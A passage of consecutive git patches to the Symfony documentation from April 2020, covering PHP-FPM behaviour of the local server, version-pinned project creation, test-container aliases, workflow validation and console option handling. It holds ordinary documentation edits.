-.. _`install Symfony`: https://symfony.com/download
+.. _`Install Symfony CLI`: https://symfony.com/download
+.. _`install Symfony CLI`: https://symfony.com/download
 .. _`The Symfony Demo Application`: https://github.com/symfony/demo
 .. _`Symfony Flex`: https://github.com/symfony/flex
 .. _`PHP security advisories database`: https://github.com/FriendsOfPHP/security-advisories

From f5f49c7265f0287b3a4e09716b5b7cc6876014eb Mon Sep 17 00:00:00 2001
From: Tim Werdin <tim.werdin@trivago.com>
Date: Wed, 1 Apr 2020 09:09:32 +0200
Subject: [PATCH 0588/7107] Adds block about PHP-FPM behaviour

Related to the issue https://github.com/symfony/cli/issues/178 I added some documentation on the behaviour of the PHP-FPM in the webserver.
Even though the behaviour is currently "expected" it is not obvious for the user.
---
 setup/symfony_server.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 4dc290e58a8..85b229bf01d 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -57,6 +57,20 @@ run the Symfony server in the background:
     # show the latest log messages
     $ symfony server:log
 
+Enabling PHP-FPM
+----------------
+
+When the server starts it will check the ``public`` folder for an ``index.php``
+file. If this file is found the server will automatically start with PHP-FPM
+enabled. Otherwise the server will start without PHP-FPM and will show a
+``Page not found`` page when trying to access a ``.php`` file in the browser.
+
+.. tip::
+
+    When an index.html and an index.php file are present the server will still
+    start with PHP-FPM enabled but browsing the root of your website will serve
+    the index.html file.
+
 Enabling TLS
 ------------
 

From 6b7477cfa6a509262e0e9812cb112a7146aab1e7 Mon Sep 17 00:00:00 2001
From: Alexey Samara <wow-apps@users.noreply.github.com>
Date: Wed, 1 Apr 2020 15:58:09 +0300
Subject: [PATCH 0589/7107] Adding version option

Added version option to setup selected version in doc
---
 setup.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index 64b0a6ecc07..fc101258ed3 100644
--- a/setup.rst
+++ b/setup.rst
@@ -44,10 +44,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_name --full
+    $ symfony new my_project_name --version=4.4 --full
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_name
+    $ symfony new my_project_name --version=4.4
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--full`` option installs all the packages that you
@@ -59,10 +59,10 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton my_project_name
+    $ composer create-project symfony/website-skeleton:v4.4.99 my_project_name
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton my_project_name
+    $ composer create-project symfony/skeleton:v4.4.99 my_project_name
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_name/`` directory, download some dependencies

From 90bde03293a64be6caf54790e0dfbd3d621d279f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 1 Apr 2020 15:50:50 +0200
Subject: [PATCH 0590/7107] Removed an unused link

---
 setup.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/setup.rst b/setup.rst
index 64b0a6ecc07..2b1e0f06269 100644
--- a/setup.rst
+++ b/setup.rst
@@ -293,7 +293,6 @@ Learn More
 
 .. _`Stellar Development with Symfony`: https://symfonycasts.com/screencast/symfony
 .. _`Install Composer`: https://getcomposer.org/download/
-.. _`Install Symfony CLI`: https://symfony.com/download
 .. _`install Symfony CLI`: https://symfony.com/download
 .. _`The Symfony Demo Application`: https://github.com/symfony/demo
 .. _`Symfony Flex`: https://github.com/symfony/flex

From 5577f7b9db61a26348b724170954268202aa06cf Mon Sep 17 00:00:00 2001
From: Daniel West <daniel@silverback.is>
Date: Wed, 1 Apr 2020 14:16:40 +0100
Subject: [PATCH 0591/7107] Tag name updated

In the entity listener section, the PHP config docs were using the event_listener tag instead.
---
 doctrine/events.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 98dad192a79..5dacfc98b54 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -312,7 +312,7 @@ with the ``doctrine.orm.entity_listener`` tag:
         use App\EventListener\UserChangedNotifier;
 
         $container->autowire(UserChangedNotifier::class)
-            ->addTag('doctrine.orm.event_listener', [
+            ->addTag('doctrine.orm.entity_listener', [
                 // these are the basic options that define the entity listener
                 'event' => 'postUpdate',
                 'entity' => User::class,

From 2f2cf6b11c60ad5d0779e3abb277dc55f4c7d94d Mon Sep 17 00:00:00 2001
From: Shambhu kumar <shambhu384@gmail.com>
Date: Thu, 2 Apr 2020 04:13:57 +0530
Subject: [PATCH 0592/7107] Missing closing tag for endblock.

---
 templates.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templates.rst b/templates.rst
index 491ea0a149e..48fa45eaf14 100644
--- a/templates.rst
+++ b/templates.rst
@@ -858,7 +858,7 @@ In practice, the ``base.html.twig`` template would look like this:
             <title>{% block title %}My Application{% endblock %}</title>
             {% block stylesheets %}
                 <link rel="stylesheet" type="text/css" href="/css/base.css"/>
-            {% endblock
+            {% endblock %}
         </head>
         <body>
             {% block body %}

From 8f0630ae53794161f6a5eefdc820bed8bebaab65 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 2 Apr 2020 09:02:04 +0200
Subject: [PATCH 0593/7107] [FrameworkBundle] Deprecate flashbag and
 attributebag services

---
 session.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/session.rst b/session.rst
index 265a9820f8f..44695a6c7b7 100644
--- a/session.rst
+++ b/session.rst
@@ -182,7 +182,7 @@ the default ``AttributeBag`` by the ``NamespacedAttributeBag``:
         session:
             public: true
             class: Symfony\Component\HttpFoundation\Session\Session
-            arguments: ['@session.storage', '@session.namespacedattributebag', '@session.flash_bag']
+            arguments: ['@session.storage', '@session.namespacedattributebag']
 
         session.namespacedattributebag:
             class: Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag

From 13a92beb232b7725d27c3901b54d60d700b9072c Mon Sep 17 00:00:00 2001
From: Pierre <pounard@users.noreply.github.com>
Date: Thu, 2 Apr 2020 10:10:05 +0200
Subject: [PATCH 0594/7107] Fixes wrong tag for RouteLoaderInterface
 registration without autoconfiguration

---
 routing/custom_route_loader.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index 12541ce8ac1..8f9be5dee5c 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -214,7 +214,7 @@ extend or implement any special class, but the called method must return a
 If you're using :ref:`autoconfigure <services-autoconfigure>`, your class should
 implement the :class:`Symfony\\Bundle\\FrameworkBundle\\Routing\\RouteLoaderInterface`
 interface to be tagged automatically. If you're **not using autoconfigure**,
-tag it manually with ``routing.loader``.
+tag it manually with ``routing.route_loader``.
 
 .. deprecated:: 4.4
 

From c7419b24d306921c1a3ffd96626dabcc8dd0bb11 Mon Sep 17 00:00:00 2001
From: Tim Werdin <tim.werdin@trivago.com>
Date: Thu, 2 Apr 2020 13:24:42 +0200
Subject: [PATCH 0595/7107] Improved tip message to make it more clear that the
 index.html takes precedence over the index.php

---
 setup/symfony_server.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 85b229bf01d..9aa50872cde 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -68,8 +68,10 @@ enabled. Otherwise the server will start without PHP-FPM and will show a
 .. tip::
 
     When an index.html and an index.php file are present the server will still
-    start with PHP-FPM enabled but browsing the root of your website will serve
-    the index.html file.
+    start with PHP-FPM enabled but the index.html will take precedence over the
+    index.php file. This means when an index.html file is present in 
+    ``public``, it will be displayed instead of the index.php which would show
+    e.g. the Symfony application.
 
 Enabling TLS
 ------------

From 4a4d155885bd94636aa397adce4597b18ab161cc Mon Sep 17 00:00:00 2001
From: Oleksandr Savchenko <savchenko.oleksandr.ua@gmail.com>
Date: Thu, 2 Apr 2020 21:03:59 +0300
Subject: [PATCH 0596/7107] fix displaying `empty_data` option for hidden field

---
 reference/forms/types/hidden.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/reference/forms/types/hidden.rst b/reference/forms/types/hidden.rst
index fd7ab6cc1f4..ba1b6421d76 100644
--- a/reference/forms/types/hidden.rst
+++ b/reference/forms/types/hidden.rst
@@ -51,6 +51,12 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 .. include:: /reference/forms/types/options/data.rst.inc
 
 .. include:: /reference/forms/types/options/empty_data.rst.inc
+    :end-before: DEFAULT_PLACEHOLDER
+
+The default value is ``''`` (the empty string).
+
+.. include:: /reference/forms/types/options/empty_data.rst.inc
+    :start-after: DEFAULT_PLACEHOLDER
 
 .. include:: /reference/forms/types/options/error_mapping.rst.inc
 

From 530a8d2b695e1974117bac763035c5a72758d95b Mon Sep 17 00:00:00 2001
From: Tim Werdin <tim.werdin@trivago.com>
Date: Fri, 3 Apr 2020 07:29:54 +0200
Subject: [PATCH 0597/7107] Improved PHP-FPM section to list the common
 patterns to find a front controller

---
 setup/symfony_server.rst | 20 +++++++++++---------
 1 file changed, 11 insertions(+), 9 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 9aa50872cde..923ac149fca 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -60,18 +60,20 @@ run the Symfony server in the background:
 Enabling PHP-FPM
 ----------------
 
-When the server starts it will check the ``public`` folder for an ``index.php``
-file. If this file is found the server will automatically start with PHP-FPM
-enabled. Otherwise the server will start without PHP-FPM and will show a
-``Page not found`` page when trying to access a ``.php`` file in the browser.
+When the server starts it will check for common patterns like ``web/app.php``,
+``web/app_dev.php`` or ``public/index.php``. If a file like this is found the
+server will automatically start with PHP-FPM enabled. Otherwise the server will
+start without PHP-FPM and will show a ``Page not found`` page when trying to 
+access a ``.php`` file in the browser.
 
 .. tip::
 
-    When an index.html and an index.php file are present the server will still
-    start with PHP-FPM enabled but the index.html will take precedence over the
-    index.php file. This means when an index.html file is present in 
-    ``public``, it will be displayed instead of the index.php which would show
-    e.g. the Symfony application.
+    When an ``index.html`` and a front controller like e.g. ``index.php`` are
+    both present the server will still start with PHP-FPM enabled but the 
+    ``index.html`` will take precedence over the front controller. This means
+    when an ``index.html`` file is present in ``public`` or ``web``, it will be
+    displayed instead of the ``index.php`` which would show e.g. the Symfony
+    application.
 
 Enabling TLS
 ------------

From c5711799c71e6377266d8a8a04e0ff0536eb2ab5 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 1 Apr 2020 22:18:47 +0200
Subject: [PATCH 0598/7107] [Setup] Clarify the Symfony binary and show small
 PHP built-in command

---
 setup.rst                | 28 +++++++++++++++++++++-------
 setup/symfony_server.rst |  5 +++--
 2 files changed, 24 insertions(+), 9 deletions(-)

diff --git a/setup.rst b/setup.rst
index 2b1e0f06269..dd1ab2d7c6b 100644
--- a/setup.rst
+++ b/setup.rst
@@ -33,6 +33,12 @@ requirements. Open your console terminal and run this command:
 
     $ symfony check:requirements
 
+.. note::
+
+    The Symfony binary is developped internally at Symfony. If you want to
+    report a bug or suggest a new feature, please create an issue on
+    `symfony/cli`_.
+
 .. _creating-symfony-applications:
 
 Creating Symfony Applications
@@ -78,14 +84,16 @@ started. In other words, your new application is ready!
 Running Symfony Applications
 ----------------------------
 
-On production, you should use a web server like Nginx or Apache (see
-:doc:`configuring a web server to run Symfony </setup/web_server_configuration>`).
-But for development, it's more convenient to use the
-:doc:`local web server </setup/symfony_server>` provided by Symfony.
+In production, you should install a webserver like Nginx or Apache and
+:doc:`configure it to run Symfony </setup/web_server_configuration>`. This
+method can also be used if you're not using the Symfony local web server for
+development.
 
-This local server provides support for HTTP/2, TLS/SSL, automatic generation of
-security certificates and many other features. It works with any PHP application,
-not only Symfony projects, so it's a very useful development tool.
+However for local development, the most convenient way of running Symfony is by
+using the :doc:`local web server </setup/symfony_server>` provided by the
+``symfony`` binary. This local server provides among other things support for
+HTTP/2, concurrent requests, TLS/SSL and automatic generation of security
+certificates.
 
 Open your console terminal, move into your new project directory and start the
 local web server as follows:
@@ -99,6 +107,11 @@ Open your browser and navigate to ``http://localhost:8000/``. If everything is
 working, you'll see a welcome page. Later, when you are finished working, stop
 the server by pressing ``Ctrl+C`` from your terminal.
 
+.. tip::
+
+    The web server works with any PHP application, not only Symfony projects,
+    so it's a very useful generic development tool.
+
 .. _install-existing-app:
 
 Setting up an Existing Symfony Project
@@ -294,6 +307,7 @@ Learn More
 .. _`Stellar Development with Symfony`: https://symfonycasts.com/screencast/symfony
 .. _`Install Composer`: https://getcomposer.org/download/
 .. _`install Symfony CLI`: https://symfony.com/download
+.. _`symfony/cli`: https://github.com/symfony/cli
 .. _`The Symfony Demo Application`: https://github.com/symfony/demo
 .. _`Symfony Flex`: https://github.com/symfony/flex
 .. _`PHP security advisories database`: https://github.com/FriendsOfPHP/security-advisories
diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index ff9fd1b1892..18ebde91fb2 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -19,8 +19,9 @@ The Symfony server is part of the ``symfony`` binary created when you
 
 .. note::
 
-    If you want to report a bug or suggest a new feature, please create an issue
-    on `symfony/cli`_.
+    The Symfony binary is developped internally at Symfony. If you want to
+    report a bug or suggest a new feature, please create an issue on
+    `symfony/cli`_.
 
 Getting Started
 ---------------

From 67dd3c18fbbcb8a1c774b3b38dddca925b2622cf Mon Sep 17 00:00:00 2001
From: Manuele Menozzi <manuele.menozzi@gmail.com>
Date: Mon, 18 Nov 2019 09:28:54 +0100
Subject: [PATCH 0599/7107] Add tip about accessing removed services in the
 testing doc

---
 testing.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/testing.rst b/testing.rst
index f6e212fc786..11c9702a0fa 100644
--- a/testing.rst
+++ b/testing.rst
@@ -560,6 +560,15 @@ allows fetching both public and all non-removed private services::
 For a list of services available in your application, use the ``debug:container``
 command.
 
+.. tip::
+
+    Keep in mind that, if a private service is never used as a dependency of another service in
+    your application, it is then removed from the container. So, if you try to access a private
+    service in a test through the special test container and that service isn't used elsewhere
+    you'll get a ``ServiceNotFoundException``. The solution, depending on the context, is to
+    define the service as explicitly ``public`` or to inject it where you'll need it so Symfony
+    doesn't remove it.
+
 .. tip::
 
     The special container that gives access to private services exists only in

From f0388417d3c20f624fd801628ee5df1a157822ab Mon Sep 17 00:00:00 2001
From: Ryan Weaver <weaverryan+github@gmail.com>
Date: Wed, 26 Feb 2020 08:59:58 -0500
Subject: [PATCH 0600/7107] clarifying how to create a public alias for a test

---
 testing.rst | 53 +++++++++++++++++++++++++++++++++++++++++++++++------
 1 file changed, 47 insertions(+), 6 deletions(-)

diff --git a/testing.rst b/testing.rst
index 11c9702a0fa..cd48004fc77 100644
--- a/testing.rst
+++ b/testing.rst
@@ -562,12 +562,53 @@ command.
 
 .. tip::
 
-    Keep in mind that, if a private service is never used as a dependency of another service in
-    your application, it is then removed from the container. So, if you try to access a private
-    service in a test through the special test container and that service isn't used elsewhere
-    you'll get a ``ServiceNotFoundException``. The solution, depending on the context, is to
-    define the service as explicitly ``public`` or to inject it where you'll need it so Symfony
-    doesn't remove it.
+    If a private service is *never* used in your application (outside of your test), it
+    is *removed* from the container and cannot be accessed as described above. In that
+    case, you can create a public alias in the ``test`` environment and access it
+    via that alias:
+    
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/services_test.yaml
+            services:
+                # access the service in your test via
+                # self::$container->get('test.App\Test\SomeTestHelper')
+                test.App\Test\SomeTestHelper:
+                    # the id of the private service
+                    alias: 'App\Test\SomeTestHelper'
+                    public: true
+
+        .. code-block:: xml
+
+            <!-- config/services_test.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+                <services>
+                    <!-- ... -->
+
+                    <service id="test.App\Test\SomeTestHelper" alias="App\Test\SomeTestHelper" public="true"/>
+                </services>
+            </container>
+
+        .. code-block:: php
+
+            // config/services_test.php
+            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+            use App\Service\MessageGenerator;
+            use App\Updates\SiteUpdateManager;
+
+            return function(ContainerConfigurator $configurator) {
+                // ...
+
+                $services->alias('test.App\Test\SomeTestHelper', 'App\Test\SomeTestHelper')->public();
+            };
 
 .. tip::
 

From 5e5c9a271d98664d0ef4d3d0315a7eb3e21beccb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 3 Apr 2020 15:22:53 +0200
Subject: [PATCH 0601/7107] Tweak

---
 testing.rst | 82 ++++++++++++++++++++++++++---------------------------
 1 file changed, 40 insertions(+), 42 deletions(-)

diff --git a/testing.rst b/testing.rst
index cd48004fc77..c475d82cc8b 100644
--- a/testing.rst
+++ b/testing.rst
@@ -560,55 +560,53 @@ allows fetching both public and all non-removed private services::
 For a list of services available in your application, use the ``debug:container``
 command.
 
-.. tip::
+If a private service is *never* used in your application (outside of your test),
+it is *removed* from the container and cannot be accessed as described above. In
+that case, you can create a public alias in the ``test`` environment and access
+it via that alias:
 
-    If a private service is *never* used in your application (outside of your test), it
-    is *removed* from the container and cannot be accessed as described above. In that
-    case, you can create a public alias in the ``test`` environment and access it
-    via that alias:
-    
-    .. configuration-block::
-
-        .. code-block:: yaml
-
-            # config/services_test.yaml
-            services:
-                # access the service in your test via
-                # self::$container->get('test.App\Test\SomeTestHelper')
-                test.App\Test\SomeTestHelper:
-                    # the id of the private service
-                    alias: 'App\Test\SomeTestHelper'
-                    public: true
-
-        .. code-block:: xml
-
-            <!-- config/services_test.xml -->
-            <?xml version="1.0" encoding="UTF-8" ?>
-            <container xmlns="http://symfony.com/schema/dic/services"
-                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-                <services>
-                    <!-- ... -->
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services_test.yaml
+        services:
+            # access the service in your test via
+            # self::$container->get('test.App\Test\SomeTestHelper')
+            test.App\Test\SomeTestHelper:
+                # the id of the private service
+                alias: 'App\Test\SomeTestHelper'
+                public: true
+
+    .. code-block:: xml
+
+        <!-- config/services_test.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
 
-                    <service id="test.App\Test\SomeTestHelper" alias="App\Test\SomeTestHelper" public="true"/>
-                </services>
-            </container>
+            <services>
+                <!-- ... -->
 
-        .. code-block:: php
+                <service id="test.App\Test\SomeTestHelper" alias="App\Test\SomeTestHelper" public="true"/>
+            </services>
+        </container>
+
+    .. code-block:: php
 
-            // config/services_test.php
-            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+        // config/services_test.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            use App\Service\MessageGenerator;
-            use App\Updates\SiteUpdateManager;
+        use App\Service\MessageGenerator;
+        use App\Updates\SiteUpdateManager;
 
-            return function(ContainerConfigurator $configurator) {
-                // ...
+        return function(ContainerConfigurator $configurator) {
+            // ...
 
-                $services->alias('test.App\Test\SomeTestHelper', 'App\Test\SomeTestHelper')->public();
-            };
+            $services->alias('test.App\Test\SomeTestHelper', 'App\Test\SomeTestHelper')->public();
+        };
 
 .. tip::
 

From ef7ff0b0b38ad7310b1d370e1ec85ae41a830d6d Mon Sep 17 00:00:00 2001
From: Menno Holtkamp <holtkamp@users.noreply.github.com>
Date: Thu, 24 Oct 2019 10:07:36 +0200
Subject: [PATCH 0602/7107] Add section about Workflows and State Machine
 validation

---
 workflow/workflow-and-state-machine.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst
index fc0dea7ca5f..933c41762a8 100644
--- a/workflow/workflow-and-state-machine.rst
+++ b/workflow/workflow-and-state-machine.rst
@@ -302,4 +302,27 @@ to access the proper service::
         // ...
     }
 
+Validation: automatic and manual
+--------------
+Workflows and state machines that are defined in a configuration file will be validated automatically during cache warmup. No validation is done upon object instantiation itself. This means that when a workflow or state machine is defined manually instead of using a configuration file, one should consider to perform validation manually as well using either (:class:`Symfony\\Component\\Workflow\\Validator\\WorkflowValidator`) or  (:class:`Symfony\\Component\\Workflow\\Validator\\StateMachineValidator`), for example::
+
+    // ...
+    use Symfony\Component\Workflow\Definition;
+    use Symfony\Component\Workflow\StateMachine;
+    use Symfony\Component\Workflow\Validator\StateMachineValidator;
+    
+    $states           = ['created', 'activated', 'deleted'];
+    $stateTransitions = [
+        new Transition('activate', 'created', 'activated'),
+        // This duplicate event "from" the "created" state is invalid
+        new Transition('activate', 'created', 'deleted'), 
+        new Transition('delete', 'activated', 'deleted'),
+    ];
+    
+    $definition = new Definition($states, $stateTransitions); // No validation is done upon initialization
+    
+    $validator = new StateMachineValidator();
+    $validator->validate($definition, 'My First StateMachine'); // Throws InvalidDefinitionException in case of an invalid definition
+    
+
 .. _`Petri nets`: https://en.wikipedia.org/wiki/Petri_net

From 013132f770e7b99d44550db64b495d3930ac0f43 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 3 Apr 2020 15:39:42 +0200
Subject: [PATCH 0603/7107] Minor reword

---
 workflow/workflow-and-state-machine.rst | 30 +++++++++++++++----------
 1 file changed, 18 insertions(+), 12 deletions(-)

diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst
index 012a1ed224e..730cf66bccc 100644
--- a/workflow/workflow-and-state-machine.rst
+++ b/workflow/workflow-and-state-machine.rst
@@ -130,7 +130,7 @@ Below is the configuration for the pull request state machine.
                     </framework:marking-store>
 
                     <framework:support>App\Entity\PullRequest</framework:support>
-                    
+
                     <framework:initial_marking>start</framework:initial_marking>
 
                     <framework:place>start</framework:place>
@@ -302,27 +302,33 @@ to access the proper service::
         // ...
     }
 
-Validation: automatic and manual
---------------
-Workflows and state machines that are defined in a configuration file will be validated automatically during cache warmup. No validation is done upon object instantiation itself. This means that when a workflow or state machine is defined manually instead of using a configuration file, one should consider to perform validation manually as well using either (:class:`Symfony\\Component\\Workflow\\Validator\\WorkflowValidator`) or  (:class:`Symfony\\Component\\Workflow\\Validator\\StateMachineValidator`), for example::
+Automatic and Manual Validation
+-------------------------------
+
+During cache warmup, Symfony validates the workflows and state machines that are
+defined in configuration files. If your workflows or state machines are defined
+programmatically instead of in a configuration file, you can validate them with
+the :class:`Symfony\\Component\\Workflow\\Validator\\WorkflowValidator` and
+:class:`Symfony\\Component\\Workflow\\Validator\\StateMachineValidator`::
 
     // ...
     use Symfony\Component\Workflow\Definition;
     use Symfony\Component\Workflow\StateMachine;
     use Symfony\Component\Workflow\Validator\StateMachineValidator;
-    
-    $states           = ['created', 'activated', 'deleted'];
+
+    $states = ['created', 'activated', 'deleted'];
     $stateTransitions = [
         new Transition('activate', 'created', 'activated'),
         // This duplicate event "from" the "created" state is invalid
-        new Transition('activate', 'created', 'deleted'), 
+        new Transition('activate', 'created', 'deleted'),
         new Transition('delete', 'activated', 'deleted'),
     ];
-    
-    $definition = new Definition($states, $stateTransitions); // No validation is done upon initialization
-    
+
+    // No validation is done upon initialization
+    $definition = new Definition($states, $stateTransitions);
+
     $validator = new StateMachineValidator();
-    $validator->validate($definition, 'My First StateMachine'); // Throws InvalidDefinitionException in case of an invalid definition
-    
+    // Throws InvalidDefinitionException in case of an invalid definition
+    $validator->validate($definition, 'My First StateMachine');
 
 .. _`Petri nets`: https://en.wikipedia.org/wiki/Petri_net

From 73156646a6c30c69418095efae528d9acf9e0c64 Mon Sep 17 00:00:00 2001
From: Lopton <mattework@yahoo.com>
Date: Thu, 16 Jan 2020 08:46:20 -0800
Subject: [PATCH 0604/7107] Update input.rst

The documentation for the Option Input commands was not easy to follow. This leads to confusion such as in (https://github.com/symfony/symfony/issues/29228). Modified to make it more clear what the different outcomes are and to provide a simple example before the condensed example.
---
 console/input.rst | 34 ++++++++++++++++++++++++++++++----
 1 file changed, 30 insertions(+), 4 deletions(-)

diff --git a/console/input.rst b/console/input.rst
index 737ceb62ca1..0c64d93956a 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -247,11 +247,12 @@ optionally accepts a value, but it's a bit tricky. Consider this example::
         )
     ;
 
-This option can be used in 3 ways: ``--yell``, ``yell=louder``, and not passing
-the option at all. However, it's hard to distinguish between passing the option
+This option can be used in 3 ways: ``greet --yell``, ``greet yell=louder``, 
+and ``greet``. However, it's hard to distinguish between passing the option 
 without a value (``greet --yell``) and not passing the option (``greet``).
 
-To solve this issue, you have to set the option's default value to ``false``::
+To solve this issue, you have to set the option's default value to 
+``false``::
 
     // ...
     use Symfony\Component\Console\Input\InputOption;
@@ -267,7 +268,32 @@ To solve this issue, you have to set the option's default value to ``false``::
         )
     ;
 
-Now check the value of the option and keep in mind that ``false !== null``::
+The input will now return the default value for the option when it is not 
+specified (``greet``), a null value when it is specified but not explicitly 
+defined  (``greet --yell``), and the defined value when defined  
+(``greet --yell=lounder``). Now check the value of the option::
+
+    $optionValue = $input->getOption('yell');
+    if ($optionValue === false ) {
+        // option was not specified
+        $yell = false;
+        $yellLouder = false;        
+    } elseif ($optionValue === null) {
+        // option was specified but no value given
+        $yell = true;
+        $yellLouder = false;        
+    } else {
+        // option was specified with a value which is now stored in $optionValue
+        $yell = true;
+        if ($optionValue === 'louder') {
+            $yellLouder = true;        
+        } else {
+            $yellLouder = false;        
+        }
+    }
+
+Once you are clear on how the default value is implemented you could consense the 
+above code into less lines of code since ``false !== null``::
 
     $optionValue = $input->getOption('yell');
     $yell = ($optionValue !== false);

From e2d8721eceb68a1dc0d10fd326a7bb5a57625d98 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 3 Apr 2020 16:03:06 +0200
Subject: [PATCH 0605/7107] Reword

---
 console/input.rst | 38 ++++++++++++++++++--------------------
 1 file changed, 18 insertions(+), 20 deletions(-)

diff --git a/console/input.rst b/console/input.rst
index 0c64d93956a..b0633d8d210 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -247,12 +247,11 @@ optionally accepts a value, but it's a bit tricky. Consider this example::
         )
     ;
 
-This option can be used in 3 ways: ``greet --yell``, ``greet yell=louder``, 
-and ``greet``. However, it's hard to distinguish between passing the option 
+This option can be used in 3 ways: ``greet --yell``, ``greet yell=louder``,
+and ``greet``. However, it's hard to distinguish between passing the option
 without a value (``greet --yell``) and not passing the option (``greet``).
 
-To solve this issue, you have to set the option's default value to 
-``false``::
+To solve this issue, you have to set the option's default value to ``false``::
 
     // ...
     use Symfony\Component\Console\Input\InputOption;
@@ -268,32 +267,31 @@ To solve this issue, you have to set the option's default value to
         )
     ;
 
-The input will now return the default value for the option when it is not 
-specified (``greet``), a null value when it is specified but not explicitly 
-defined  (``greet --yell``), and the defined value when defined  
-(``greet --yell=lounder``). Now check the value of the option::
+Now it's possible to differentiate between not passing the option and not
+passing any value for it::
 
     $optionValue = $input->getOption('yell');
-    if ($optionValue === false ) {
-        // option was not specified
+    if (false === $optionValue) {
+        // in this case, the option was not passed when running the command
         $yell = false;
-        $yellLouder = false;        
-    } elseif ($optionValue === null) {
-        // option was specified but no value given
+        $yellLouder = false;
+    } elseif (null === $optionValue) {
+        // in this case, the option was passed when running the command
+        // but no value was given to it
         $yell = true;
-        $yellLouder = false;        
+        $yellLouder = false;
     } else {
-        // option was specified with a value which is now stored in $optionValue
+        // in this case, the option was passed when running the command and
+        // some specific value was given to it
         $yell = true;
-        if ($optionValue === 'louder') {
-            $yellLouder = true;        
+        if ('louder' === $optionValue) {
+            $yellLouder = true;
         } else {
-            $yellLouder = false;        
+            $yellLouder = false;
         }
     }
 
-Once you are clear on how the default value is implemented you could consense the 
-above code into less lines of code since ``false !== null``::
+The above code can be simplified as follows because ``false !== null``::
 
     $optionValue = $input->getOption('yell');
     $yell = ($optionValue !== false);

From 0f387d9bca2098bbc983c35ff41e5d6652d6bfea Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 30 Mar 2020 13:29:57 +0200
Subject: [PATCH 0606/7107] Shortening Doctrine Note

---
 form/form_collections.rst | 8 +-------
 1 file changed, 1 insertion(+), 7 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index d5d26a873eb..5119e757118 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -11,13 +11,7 @@ that Task, right inside the same form.
 
 .. note::
 
-    In this article, it's loosely assumed that you're using Doctrine as your
-    database store. But if you're not using Doctrine, it's all very similar.
-    There are only a few parts of this tutorial that really care about "persistence".
-
-    If you *are* using Doctrine, you'll need to add the Doctrine metadata,
-    including the ``ManyToMany`` association mapping definition on the Task's
-    ``tags`` property.
+    The example presented here is based on Doctrine.
 
 First, suppose that each ``Task`` belongs to multiple ``Tag`` objects. Start
